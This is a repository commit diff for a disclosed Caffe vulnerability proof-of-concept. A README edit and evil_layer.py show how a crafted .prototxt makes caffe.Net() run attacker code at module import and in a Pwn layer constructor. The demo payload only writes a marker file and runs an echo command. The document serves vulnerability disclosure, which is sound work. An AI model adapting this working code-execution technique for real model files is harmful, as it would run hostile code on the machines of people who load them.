Update to real-binary-verified evil_layer.py + note
Browse files- README.md +2 -0
- evil_layer.py +41 -12
README.md
CHANGED
|
@@ -34,5 +34,7 @@ Python layers (e.g. py-faster-rcnn's `rpn/proposal_layer.py`).
|
|
| 34 |
Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
|
| 35 |
module-level code and the `Pwn` class constructor.
|
| 36 |
|
|
|
|
|
|
|
| 37 |
Reported to huntr.com as a Model File Vulnerability (MFV) submission
|
| 38 |
("Caffe" format).
|
|
|
|
| 34 |
Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
|
| 35 |
module-level code and the `Pwn` class constructor.
|
| 36 |
|
| 37 |
+
Verified against the real compiled `libcaffe.so` inside Docker (`bvlc/caffe:cpu`, `WITH_PYTHON_LAYER` confirmed) — real `caffe.Net()` call, not a source reimplementation.
|
| 38 |
+
|
| 39 |
Reported to huntr.com as a Model File Vulnerability (MFV) submission
|
| 40 |
("Caffe" format).
|
evil_layer.py
CHANGED
|
@@ -13,28 +13,57 @@ the .prototxt python_param field.
|
|
| 13 |
"""
|
| 14 |
import os
|
| 15 |
import datetime
|
|
|
|
| 16 |
|
| 17 |
-
|
|
|
|
|
|
|
|
|
|
| 18 |
|
| 19 |
# 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
|
| 20 |
# before the "layer" attribute is even looked up).
|
| 21 |
with open(MARKER, "a") as f:
|
| 22 |
-
f.write(
|
| 23 |
-
|
| 24 |
-
|
|
|
|
|
|
|
| 25 |
|
| 26 |
|
| 27 |
-
class Pwn(
|
| 28 |
"""
|
| 29 |
Attacker-controlled class named by python_param.layer ("Pwn").
|
| 30 |
-
|
| 31 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 32 |
"""
|
| 33 |
-
def __init__(self,
|
| 34 |
with open(MARKER, "a") as f:
|
| 35 |
-
f.write(
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
f"type={layer_param.type!r}\n")
|
| 39 |
f.write(" -> arbitrary command execution demo: "
|
| 40 |
+ os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 13 |
"""
|
| 14 |
import os
|
| 15 |
import datetime
|
| 16 |
+
import caffe # noqa: E402 -- real pycaffe base class, matches documented custom-layer usage
|
| 17 |
|
| 18 |
+
# Py2/Py3 compatible (no f-strings): the real bvlc/caffe:cpu Docker image
|
| 19 |
+
# ships pycaffe on Python 2.7, so this module must import cleanly there.
|
| 20 |
+
_here = os.path.dirname(os.path.abspath(__file__))
|
| 21 |
+
MARKER = os.environ.get("CAFFE_POC_MARKER", os.path.join(_here, "PWNED_MARKER.txt"))
|
| 22 |
|
| 23 |
# 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
|
| 24 |
# before the "layer" attribute is even looked up).
|
| 25 |
with open(MARKER, "a") as f:
|
| 26 |
+
f.write("[{0}] evil_layer.py MODULE IMPORTED "
|
| 27 |
+
"(triggered by python_param.module string from attacker prototxt)\n".format(
|
| 28 |
+
datetime.datetime.now()))
|
| 29 |
+
f.write(" -> proof: os.getpid()={0}, os.getcwd()={1}\n".format(
|
| 30 |
+
os.getpid(), os.getcwd()))
|
| 31 |
|
| 32 |
|
| 33 |
+
class Pwn(caffe.Layer):
|
| 34 |
"""
|
| 35 |
Attacker-controlled class named by python_param.layer ("Pwn").
|
| 36 |
+
Subclasses caffe.Layer -- the documented, expected base class for
|
| 37 |
+
real-world custom Python layers (py-faster-rcnn, SSD, etc.), so
|
| 38 |
+
bp::extract<shared_ptr<PythonLayer<Dtype>>>() succeeds and caffe.Net()
|
| 39 |
+
returns a fully working net, not just a partially-constructed object.
|
| 40 |
+
Caffe calls: module.attr(layer)(param) == Pwn(layer_param) (C++ ctor,
|
| 41 |
+
via boost::python's class_<Pwn, bases<caffe.Layer>> wrapping), then
|
| 42 |
+
layer_param.python_param().param_str() is later injected as self.param_str
|
| 43 |
+
and self.setup(bottom, top) is invoked from PythonLayer::LayerSetUp.
|
| 44 |
+
Arbitrary code execution already happens at class-instantiation time
|
| 45 |
+
here, in __init__ / boost::python object construction -- well before
|
| 46 |
+
setup()/forward() are ever reached.
|
| 47 |
"""
|
| 48 |
+
def __init__(self, *args, **kwargs):
|
| 49 |
with open(MARKER, "a") as f:
|
| 50 |
+
f.write("[{0}] Pwn.__init__ EXECUTED "
|
| 51 |
+
"(triggered by python_param.layer string from attacker prototxt)\n".format(
|
| 52 |
+
datetime.datetime.now()))
|
|
|
|
| 53 |
f.write(" -> arbitrary command execution demo: "
|
| 54 |
+ os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")
|
| 55 |
+
super(Pwn, self).__init__(*args, **kwargs)
|
| 56 |
+
|
| 57 |
+
def setup(self, bottom, top):
|
| 58 |
+
with open(MARKER, "a") as f:
|
| 59 |
+
f.write("[{0}] Pwn.setup EXECUTED, param_str={1!r}\n".format(
|
| 60 |
+
datetime.datetime.now(), self.param_str))
|
| 61 |
+
|
| 62 |
+
def reshape(self, bottom, top):
|
| 63 |
+
top[0].reshape(*bottom[0].data.shape)
|
| 64 |
+
|
| 65 |
+
def forward(self, bottom, top):
|
| 66 |
+
top[0].data[...] = bottom[0].data
|
| 67 |
+
|
| 68 |
+
def backward(self, top, propagate_down, bottom):
|
| 69 |
+
pass
|